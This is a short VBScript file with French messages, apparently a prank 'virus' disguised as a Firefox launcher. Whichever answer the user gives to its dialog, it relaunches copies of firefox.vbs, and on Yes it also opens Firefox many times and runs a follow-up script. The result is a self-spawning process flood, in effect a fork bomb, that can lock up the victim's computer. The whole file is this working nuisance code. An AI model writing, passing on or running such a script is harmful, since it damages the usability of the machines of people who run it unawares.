result = MsgBox ("Est-tu sūr de vouloir utiliser Firefox, il n'est pas de bonne humeur ces temps-ci :/ ?", vbYesNo + vbCritical, "Le Renard ą brūler le disque dur")

Select Case result
Case vbYes
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%userprofile%\Downloads\Intranet\firefox.vbs"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%userprofile%\Downloads\Intranet\firefox.vbs"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%userprofile%\Downloads\Intranet\firefox.vbs"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%userprofile%\Downloads\Intranet\firefox.vbs"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%userprofile%\Downloads\Intranet\firefox.vbs"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%userprofile%\Downloads\Intranet\firefox.vbs"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%userprofile%\Downloads\Intranet\firefox.vbs"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe"""
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%userprofile%\Downloads\Intranet\firefoxplus.vbs"""

Case vbNo
MsgBox "Le Renard Brūle en ce moment, désolé, le virus va devoir revenir :(", vbInformation
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run " %userprofile%\Downloads\Intranet\firefox.vbs"

End Select